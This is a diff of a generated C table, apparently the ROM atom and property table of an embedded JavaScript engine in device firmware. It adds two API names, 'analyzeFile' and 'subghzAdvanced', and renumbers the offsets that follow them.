-  /* sorted atom table (offset=1615) */
-  JS_VALUE_ARRAY_HEADER(444),
+  /* sorted atom table (offset=1624) */
+  JS_VALUE_ARRAY_HEADER(446),
   JS_ROM_VALUE(134), /* empty */
   JS_ROM_VALUE(201), /* _Infinity */
   JS_ROM_VALUE(162), /* _eval_ */
@@ -1656,7 +1665,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(685), /* ArrayBuffer */
   JS_ROM_VALUE(728), /* BYTES_PER_ELEMENT */
   JS_ROM_VALUE(348), /* Boolean */
-  JS_ROM_VALUE(1602), /* Buffer */
+  JS_ROM_VALUE(1611), /* Buffer */
   JS_ROM_VALUE(589), /* Date */
   JS_ROM_VALUE(510), /* E */
   JS_ROM_VALUE(321), /* EPSILON */
@@ -1665,7 +1674,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(758), /* Float32Array */
   JS_ROM_VALUE(763), /* Float64Array */
   JS_ROM_VALUE(259), /* Function */
-  JS_ROM_VALUE(1582), /* Gif */
+  JS_ROM_VALUE(1591), /* Gif */
   JS_ROM_VALUE(197), /* Infinity */
   JS_ROM_VALUE(742), /* Int16Array */
   JS_ROM_VALUE(750), /* Int32Array */
@@ -1692,11 +1701,11 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(604), /* RegExp */
   JS_ROM_VALUE(525), /* SQRT1_2 */
   JS_ROM_VALUE(528), /* SQRT2 */
-  JS_ROM_VALUE(1532), /* Sprite */
+  JS_ROM_VALUE(1541), /* Sprite */
   JS_ROM_VALUE(351), /* String */
   JS_ROM_VALUE(668), /* SyntaxError */
-  JS_ROM_VALUE(1544), /* TextViewer */
-  JS_ROM_VALUE(1528), /* TimersState */
+  JS_ROM_VALUE(1553), /* TextViewer */
+  JS_ROM_VALUE(1537), /* TimersState */
   JS_ROM_VALUE(672), /* TypeError */
   JS_ROM_VALUE(704), /* TypedArray */
   JS_ROM_VALUE(676), /* URIError */
@@ -1704,17 +1713,18 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(754), /* Uint32Array */
   JS_ROM_VALUE(738), /* Uint8Array */
   JS_ROM_VALUE(698), /* Uint8ClampedArray */
-  JS_ROM_VALUE(1608), /* __internal_functions */
+  JS_ROM_VALUE(1617), /* __internal_functions */
   JS_ROM_VALUE(211), /* __proto__ */
   JS_ROM_VALUE(496), /* abs */
   JS_ROM_VALUE(540), /* acos */
   JS_ROM_VALUE(576), /* acosh */
   JS_ROM_VALUE(1323), /* addMifareKey */
-  JS_ROM_VALUE(1462), /* advertise */
+  JS_ROM_VALUE(1471), /* advertise */
   JS_ROM_VALUE(1151), /* analogRead */
   JS_ROM_VALUE(1168), /* analogWrite */
   JS_ROM_VALUE(1179), /* analogWriteFrequency */
   JS_ROM_VALUE(1172), /* analogWriteResolution */
+  JS_ROM_VALUE(1432), /* analyzeFile */
   JS_ROM_VALUE(276), /* apply */
   JS_ROM_VALUE(168), /* arguments */
   JS_ROM_VALUE(537), /* asin */
@@ -1729,7 +1739,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(871), /* badusb */
   JS_ROM_VALUE(1218), /* begin */
   JS_ROM_VALUE(279), /* bind */
-  JS_ROM_VALUE(1460), /* ble */
+  JS_ROM_VALUE(1469), /* ble */
   JS_ROM_VALUE(1297), /* blink */
   JS_ROM_VALUE(156), /* boolean */
   JS_ROM_VALUE(221), /* bound */
@@ -1751,15 +1761,15 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1320), /* clear */
   JS_ROM_VALUE(804), /* clearInterval */
   JS_ROM_VALUE(795), /* clearTimeout */
-  JS_ROM_VALUE(1579), /* close */
+  JS_ROM_VALUE(1588), /* close */
   JS_ROM_VALUE(561), /* clz32 */
   JS_ROM_VALUE(1380), /* cmd */
   JS_ROM_VALUE(375), /* codePointAt */
   JS_ROM_VALUE(947), /* color */
   JS_ROM_VALUE(389), /* concat */
-  JS_ROM_VALUE(1439), /* connect */
-  JS_ROM_VALUE(1434), /* connectDialog */
-  JS_ROM_VALUE(1430), /* connected */
+  JS_ROM_VALUE(1448), /* connect */
+  JS_ROM_VALUE(1443), /* connectDialog */
+  JS_ROM_VALUE(1439), /* connected */
   JS_ROM_VALUE(779), /* console */
   JS_ROM_VALUE(87), /* const */
   JS_ROM_VALUE(183), /* constructor */
@@ -1774,16 +1784,16 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(227), /* defineProperty */
   JS_ROM_VALUE(818), /* delay */
   JS_ROM_VALUE(22), /* delete */
-  JS_ROM_VALUE(1539), /* deleteSprite */
+  JS_ROM_VALUE(1548), /* deleteSprite */
   JS_ROM_VALUE(903), /* device */
   JS_ROM_VALUE(1097), /* dialog */
   JS_ROM_VALUE(1147), /* digitalRead */
   JS_ROM_VALUE(1159), /* digitalWrite */
-  JS_ROM_VALUE(1442), /* disconnect */
+  JS_ROM_VALUE(1451), /* disconnect */
   JS_ROM_VALUE(944), /* display */
-  JS_ROM_VALUE(1523), /* displayMessage */
+  JS_ROM_VALUE(1532), /* displayMessage */
   JS_ROM_VALUE(39), /* do */
-  JS_ROM_VALUE(1548), /* draw */
+  JS_ROM_VALUE(1557), /* draw */
   JS_ROM_VALUE(1054), /* drawArc */
   JS_ROM_VALUE(1046), /* drawBitmap */
   JS_ROM_VALUE(1037), /* drawCircle */
@@ -1825,7 +1835,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(498), /* floor */
   JS_ROM_VALUE(44), /* for */
   JS_ROM_VALUE(468), /* forEach */
-  JS_ROM_VALUE(1605), /* from */
+  JS_ROM_VALUE(1614), /* from */
   JS_ROM_VALUE(354), /* fromCharCode */
   JS_ROM_VALUE(359), /* fromCodePoint */
   JS_ROM_VALUE(564), /* fround */
@@ -1852,11 +1862,11 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(939), /* getEEPROMSize */
   JS_ROM_VALUE(1274), /* getEscPress */
   JS_ROM_VALUE(934), /* getFreeHeapSize */
-  JS_ROM_VALUE(1455), /* getIPAddress */
+  JS_ROM_VALUE(1464), /* getIPAddress */
   JS_ROM_VALUE(1260), /* getKeysPressed */
-  JS_ROM_VALUE(1564), /* getLine */
-  JS_ROM_VALUE(1450), /* getMACAddress */
-  JS_ROM_VALUE(1567), /* getMaxLines */
+  JS_ROM_VALUE(1573), /* getLine */
+  JS_ROM_VALUE(1459), /* getMACAddress */
+  JS_ROM_VALUE(1576), /* getMaxLines */
   JS_ROM_VALUE(913), /* getModel */
   JS_ROM_VALUE(906), /* getName */
   JS_ROM_VALUE(1278), /* getNextPress */
@@ -1865,19 +1875,19 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(232), /* getPrototypeOf */
   JS_ROM_VALUE(1077), /* getRotation */
   JS_ROM_VALUE(1270), /* getSelPress */
-  JS_ROM_VALUE(1571), /* getVisibleText */
-  JS_ROM_VALUE(1598), /* gifClose */
-  JS_ROM_VALUE(1589), /* gifDimensions */
+  JS_ROM_VALUE(1580), /* getVisibleText */
+  JS_ROM_VALUE(1607), /* gifClose */
+  JS_ROM_VALUE(1598), /* gifDimensions */
   JS_ROM_VALUE(1063), /* gifOpen */
-  JS_ROM_VALUE(1584), /* gifPlayFrame */
-  JS_ROM_VALUE(1594), /* gifReset */
+  JS_ROM_VALUE(1593), /* gifPlayFrame */
+  JS_ROM_VALUE(1603), /* gifReset */
   JS_ROM_VALUE(775), /* globalThis */
   JS_ROM_VALUE(1141), /* gpio */
   JS_ROM_VALUE(254), /* hasOwnProperty */
   JS_ROM_VALUE(1069), /* height */
   JS_ROM_VALUE(1256), /* hexKeyboard */
   JS_ROM_VALUE(886), /* hold */
-  JS_ROM_VALUE(1446), /* httpFetch */
+  JS_ROM_VALUE(1455), /* httpFetch */
   JS_ROM_VALUE(1216), /* i2c */
   JS_ROM_VALUE(9), /* if */
   JS_ROM_VALUE(105), /* implements */
@@ -1892,7 +1902,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(109), /* interface */
   JS_ROM_VALUE(1234), /* ir */
   JS_ROM_VALUE(436), /* isArray */
-  JS_ROM_VALUE(1484), /* isConnected */
+  JS_ROM_VALUE(1493), /* isConnected */
   JS_ROM_VALUE(771), /* isFinite */
   JS_ROM_VALUE(1366), /* isForeground */
   JS_ROM_VALUE(768), /* isNaN */
@@ -1902,7 +1912,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(245), /* keys */
   JS_ROM_VALUE(607), /* lastIndex */
   JS_ROM_VALUE(395), /* lastIndexOf */
-  JS_ROM_VALUE(1488), /* led */
+  JS_ROM_VALUE(1497), /* led */
   JS_ROM_VALUE(1186), /* ledcAttach */
   JS_ROM_VALUE(1203), /* ledcChangeFrequency */
   JS_ROM_VALUE(1209), /* ledcDetach */
@@ -1919,7 +1929,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(471), /* map */
   JS_ROM_VALUE(399), /* match */
   JS_ROM_VALUE(491), /* max */
-  JS_ROM_VALUE(1496), /* menu */
+  JS_ROM_VALUE(1505), /* menu */
   JS_ROM_VALUE(641), /* message */
   JS_ROM_VALUE(1300), /* mic */
   JS_ROM_VALUE(489), /* min */
@@ -1928,13 +1938,13 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(31), /* new */
   JS_ROM_VALUE(1292), /* notification */
   JS_ROM_VALUE(592), /* now */
-  JS_ROM_VALUE(1471), /* nrf24 */
+  JS_ROM_VALUE(1480), /* nrf24 */
   JS_ROM_VALUE(0), /* null */
   JS_ROM_VALUE(1252), /* numKeyboard */
   JS_ROM_VALUE(143), /* number */
   JS_ROM_VALUE(146), /* object */
   JS_ROM_VALUE(193), /* of */
-  JS_ROM_VALUE(1494), /* off */
+  JS_ROM_VALUE(1503), /* off */
   JS_ROM_VALUE(115), /* package */
   JS_ROM_VALUE(597), /* parse */
   JS_ROM_VALUE(297), /* parseFloat */
@@ -1950,8 +1960,8 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(883), /* press */
   JS_ROM_VALUE(896), /* pressRaw */
   JS_ROM_VALUE(877), /* print */
-  JS_ROM_VALUE(1518), /* printSubtitle */
-  JS_ROM_VALUE(1514), /* printTitle */
+  JS_ROM_VALUE(1527), /* printSubtitle */
+  JS_ROM_VALUE(1523), /* printTitle */
   JS_ROM_VALUE(880), /* println */
   JS_ROM_VALUE(118), /* private */
   JS_ROM_VALUE(1115), /* prompt */
@@ -1959,14 +1969,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179), /* prototype */
   JS_ROM_VALUE(125), /* public */
   JS_ROM_VALUE(439), /* push */
-  JS_ROM_VALUE(1535), /* pushSprite */
+  JS_ROM_VALUE(1544), /* pushSprite */
   JS_ROM_VALUE(555), /* random */
   JS_ROM_VALUE(1227), /* read */
   JS_ROM_VALUE(1236), /* readRaw */
   JS_ROM_VALUE(1314), /* readUID */
   JS_ROM_VALUE(1385), /* readdir */
   JS_ROM_VALUE(1377), /* readln */
-  JS_ROM_VALUE(1477), /* receive */
+  JS_ROM_VALUE(1486), /* receive */
   JS_ROM_VALUE(1302), /* recordWav */
   JS_ROM_VALUE(476), /* reduce */
   JS_ROM_VALUE(479), /* reduceRight */
@@ -1987,34 +1997,34 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1353), /* runtime */
   JS_ROM_VALUE(1317), /* save */
   JS_ROM_VALUE(1221), /* scan */
-  JS_ROM_VALUE(1555), /* scrollDown */
-  JS_ROM_VALUE(1559), /* scrollToLine */
-  JS_ROM_VALUE(1551), /* scrollUp */
+  JS_ROM_VALUE(1564), /* scrollDown */
+  JS_ROM_VALUE(1568), /* scrollToLine */
+  JS_ROM_VALUE(1560), /* scrollUp */
   JS_ROM_VALUE(409), /* search */
-  JS_ROM_VALUE(1474), /* send */
+  JS_ROM_VALUE(1483), /* send */
   JS_ROM_VALUE(1374), /* serial */
   JS_ROM_VALUE(177), /* set */
   JS_ROM_VALUE(616), /* set lastIndex */
   JS_ROM_VALUE(364), /* set length */
   JS_ROM_VALUE(268), /* set prototype */
   JS_ROM_VALUE(1086), /* setBrightness */
-  JS_ROM_VALUE(1480), /* setChannel */
-  JS_ROM_VALUE(1490), /* setColor */
+  JS_ROM_VALUE(1489), /* setChannel */
+  JS_ROM_VALUE(1499), /* setColor */
   JS_ROM_VALUE(950), /* setCursor */
   JS_ROM_VALUE(1412), /* setFrequency */
   JS_ROM_VALUE(800), /* setInterval */
   JS_ROM_VALUE(1287), /* setLongPress */
   JS_ROM_VALUE(237), /* setPrototypeOf */
-  JS_ROM_VALUE(1576), /* setText */
+  JS_ROM_VALUE(1585), /* setText */
   JS_ROM_VALUE(963), /* setTextAlign */
   JS_ROM_VALUE(954), /* setTextColor */
   JS_ROM_VALUE(959), /* setTextSize */
   JS_ROM_VALUE(791), /* setTimeout */
   JS_ROM_VALUE(874), /* setup */
   JS_ROM_VALUE(450), /* shift */
-  JS_ROM_VALUE(1499), /* show */
-  JS_ROM_VALUE(1502), /* showMainBorder */
-  JS_ROM_VALUE(1507), /* showMainBorderWithTitle */
+  JS_ROM_VALUE(1508), /* show */
+  JS_ROM_VALUE(1511), /* showMainBorder */
+  JS_ROM_VALUE(1516), /* showMainBorderWithTitle */
   JS_ROM_VALUE(493), /* sign */
   JS_ROM_VALUE(531), /* sin */
   JS_ROM_VALUE(379), /* slice */
@@ -2034,12 +2044,13 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1348), /* srixWriteBlock */
   JS_ROM_VALUE(648), /* stack */
   JS_ROM_VALUE(128), /* static */
-  JS_ROM_VALUE(1466), /* stopAdvertise */
+  JS_ROM_VALUE(1475), /* stopAdvertise */
   JS_ROM_VALUE(1382), /* storage */
   JS_ROM_VALUE(153), /* string */
   JS_ROM_VALUE(600), /* stringify */
   JS_ROM_VALUE(724), /* subarray */
   JS_ROM_VALUE(1409), /* subghz */
+  JS_ROM_VALUE(1427), /* subghzAdvanced */
   JS_ROM_VALUE(382), /* substr */
   JS_ROM_VALUE(385), /* substring */
   JS_ROM_VALUE(1103), /* success */
@@ -2087,13 +2098,13 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(1106), /* warning */
   JS_ROM_VALUE(41), /* while */
   JS_ROM_VALUE(1066), /* width */
-  JS_ROM_VALUE(1427), /* wifi */
+  JS_ROM_VALUE(1436), /* wifi */
   JS_ROM_VALUE(81), /* with */
   JS_ROM_VALUE(1224), /* write */
   JS_ROM_VALUE(1230), /* writeRead */
   JS_ROM_VALUE(131), /* yield */
 
-  /* properties (offset=2060) */
+  /* properties (offset=2071) */
   JS_VALUE_ARRAY_HEADER(27),
   7 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -2122,7 +2133,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_OBJECT << 1,
   (6 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2088) */
+  /* properties (offset=2099) */
   JS_VALUE_ARRAY_HEADER(13),
   3 << 1, /* n_props */
   1 << 1, /* hash_mask */
@@ -2137,14 +2148,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_OBJECT - 1) << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2102) */
+  /* class (offset=2113) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2060),
+  JS_ROM_VALUE(2071),
   1,
-  JS_ROM_VALUE(2088),
+  JS_ROM_VALUE(2099),
   JS_NULL,
 
-  /* properties (offset=2107) */
+  /* properties (offset=2118) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2152,22 +2163,22 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_CLOSURE << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* getset (offset=2114) */
+  /* getset (offset=2125) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 11),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 12),
 
-  /* getset (offset=2117) */
+  /* getset (offset=2128) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 13),
   JS_UNDEFINED,
 
-  /* getset (offset=2120) */
+  /* getset (offset=2131) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 14),
   JS_UNDEFINED,
 
-  /* properties (offset=2123) */
+  /* properties (offset=2134) */
   JS_VALUE_ARRAY_HEADER(30),
   8 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -2176,7 +2187,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   27 << 1,
   0 << 1,
   JS_ROM_VALUE(179) /* prototype */,
-  JS_ROM_VALUE(2114),
+  JS_ROM_VALUE(2125),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(273) /* call */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 15),
@@ -2191,62 +2202,62 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 18),
   (12 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(187) /* length */,
-  JS_ROM_VALUE(2117),
+  JS_ROM_VALUE(2128),
   (15 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(205) /* name */,
-  JS_ROM_VALUE(2120),
+  JS_ROM_VALUE(2131),
   (9 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_CLOSURE - 1) << 1,
   (21 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2154) */
+  /* class (offset=2165) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2107),
+  JS_ROM_VALUE(2118),
   10,
-  JS_ROM_VALUE(2123),
+  JS_ROM_VALUE(2134),
   JS_NULL,
 
-  /* float64 (offset=2159) */
+  /* float64 (offset=2170) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0xffffffff,
   0x7fefffff,
 
-  /* float64 (offset=2162) */
+  /* float64 (offset=2173) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x00000001,
   0x00000000,
 
-  /* float64 (offset=2165) */
+  /* float64 (offset=2176) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x00000000,
   0x7ff80000,
 
-  /* float64 (offset=2168) */
+  /* float64 (offset=2179) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x00000000,
   0xfff00000,
 
-  /* float64 (offset=2171) */
+  /* float64 (offset=2182) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x00000000,
   0x7ff00000,
 
-  /* float64 (offset=2174) */
+  /* float64 (offset=2185) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x00000000,
   0x3cb00000,
 
-  /* float64 (offset=2177) */
+  /* float64 (offset=2188) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0xffffffff,
   0x433fffff,
 
-  /* float64 (offset=2180) */
+  /* float64 (offset=2191) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0xffffffff,
   0xc33fffff,
 
-  /* properties (offset=2183) */
+  /* properties (offset=2194) */
   JS_VALUE_ARRAY_HEADER(43),
   11 << 1, /* n_props */
   7 << 1, /* hash_mask */
@@ -2265,33 +2276,33 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 21),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(301) /* MAX_VALUE */,
-  JS_ROM_VALUE(2159),
+  JS_ROM_VALUE(2170),
   (10 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(305) /* MIN_VALUE */,
-  JS_ROM_VALUE(2162),
+  JS_ROM_VALUE(2173),
   (13 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(195) /* NaN */,
-  JS_ROM_VALUE(2165),
+  JS_ROM_VALUE(2176),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(309) /* NEGATIVE_INFINITY */,
-  JS_ROM_VALUE(2168),
+  JS_ROM_VALUE(2179),
   (16 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(315) /* POSITIVE_INFINITY */,
-  JS_ROM_VALUE(2171),
+  JS_ROM_VALUE(2182),
   (22 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(321) /* EPSILON */,
-  JS_ROM_VALUE(2174),
+  JS_ROM_VALUE(2185),
   (19 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(324) /* MAX_SAFE_INTEGER */,
-  JS_ROM_VALUE(2177),
+  JS_ROM_VALUE(2188),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(330) /* MIN_SAFE_INTEGER */,
-  JS_ROM_VALUE(2180),
+  JS_ROM_VALUE(2191),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_NUMBER << 1,
   (28 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2227) */
+  /* properties (offset=2238) */
   JS_VALUE_ARRAY_HEADER(21),
   5 << 1, /* n_props */
   3 << 1, /* hash_mask */
@@ -2314,14 +2325,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_NUMBER - 1) << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2249) */
+  /* class (offset=2260) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2183),
+  JS_ROM_VALUE(2194),
   19,
-  JS_ROM_VALUE(2227),
+  JS_ROM_VALUE(2238),
   JS_NULL,
 
-  /* properties (offset=2254) */
+  /* properties (offset=2265) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2329,7 +2340,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_BOOLEAN << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=2261) */
+  /* properties (offset=2272) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2337,14 +2348,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_BOOLEAN - 1) << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2268) */
+  /* class (offset=2279) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2254),
+  JS_ROM_VALUE(2265),
   26,
-  JS_ROM_VALUE(2261),
+  JS_ROM_VALUE(2272),
   JS_NULL,
 
-  /* properties (offset=2273) */
+  /* properties (offset=2284) */
   JS_VALUE_ARRAY_HEADER(13),
   3 << 1, /* n_props */
   1 << 1, /* hash_mask */
@@ -2359,12 +2370,12 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_STRING << 1,
   (7 << 1) | (JS_PROP_SPECIAL << 30),
-  /* getset (offset=2287) */
+  /* getset (offset=2298) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 30),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 31),
 
-  /* properties (offset=2290) */
+  /* properties (offset=2301) */
   JS_VALUE_ARRAY_HEADER(84),
   22 << 1, /* n_props */
   15 << 1, /* hash_mask */
@@ -2385,7 +2396,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   63 << 1,
   33 << 1,
   JS_ROM_VALUE(187) /* length */,
-  JS_ROM_VALUE(2287),
+  JS_ROM_VALUE(2298),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(368) /* charAt */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 32),
@@ -2450,14 +2461,14 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_STRING - 1) << 1,
   (69 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2375) */
+  /* class (offset=2386) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2273),
+  JS_ROM_VALUE(2284),
   27,
-  JS_ROM_VALUE(2290),
+  JS_ROM_VALUE(2301),
   JS_NULL,
 
-  /* properties (offset=2380) */
+  /* properties (offset=2391) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -2468,12 +2479,12 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_ARRAY << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* getset (offset=2390) */
+  /* getset (offset=2401) */
   JS_VALUE_ARRAY_HEADER(2),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 54),
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 55),
 
-  /* properties (offset=2393) */
+  /* properties (offset=2404) */
   JS_VALUE_ARRAY_HEADER(90),
   24 << 1, /* n_props */
   15 << 1, /* hash_mask */
@@ -2497,7 +2508,7 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 56),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(187) /* length */,
-  JS_ROM_VALUE(2390),
+  JS_ROM_VALUE(2401),
   (0 << 1) | (JS_PROP_GETSET << 30),
   JS_ROM_VALUE(439) /* push */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 57),
@@ -2565,54 +2576,54 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_ARRAY - 1) << 1,
   (69 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=2484) */
+  /* class (offset=2495) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(2380),
+  JS_ROM_VALUE(2391),
   52,
-  JS_ROM_VALUE(2393),
+  JS_ROM_VALUE(2404),
   JS_NULL,
 
-  /* float64 (offset=2489) */
+  /* float64 (offset=2500) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x8b145769,
   0x4005bf0a,
 
-  /* float64 (offset=2492) */
+  /* float64 (offset=2503) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0xbbb55516,
   0x40026bb1,
 
-  /* float64 (offset=2495) */
+  /* float64 (offset=2506) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0xfefa39ef,
   0x3fe62e42,
 
-  /* float64 (offset=2498) */
+  /* float64 (offset=2509) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x652b82fe,
   0x3ff71547,
 
-  /* float64 (offset=2501) */
+  /* float64 (offset=2512) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x1526e50e,
   0x3fdbcb7b,
 
-  /* float64 (offset=2504) */
+  /* float64 (offset=2515) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x54442d18,
   0x400921fb,
 
-  /* float64 (offset=2507) */
+  /* float64 (offset=2518) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x667f3bcd,
   0x3fe6a09e,
 
-  /* float64 (offset=2510) */
+  /* float64 (offset=2521) */
   JS_MB_HEADER_DEF(JS_MTAG_FLOAT64),
   0x667f3bcd,
   0x3ff6a09e,
 
-  /* properties (offset=2513) */
+  /* properties (offset=2524) */
   JS_VALUE_ARRAY_HEADER(129),
   37 << 1, /* n_props */
   15 << 1, /* hash_mask */
@@ -2657,28 +2668,28 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 84),
   (21 << 1) | (JS_PROP_NORMAL << 30),
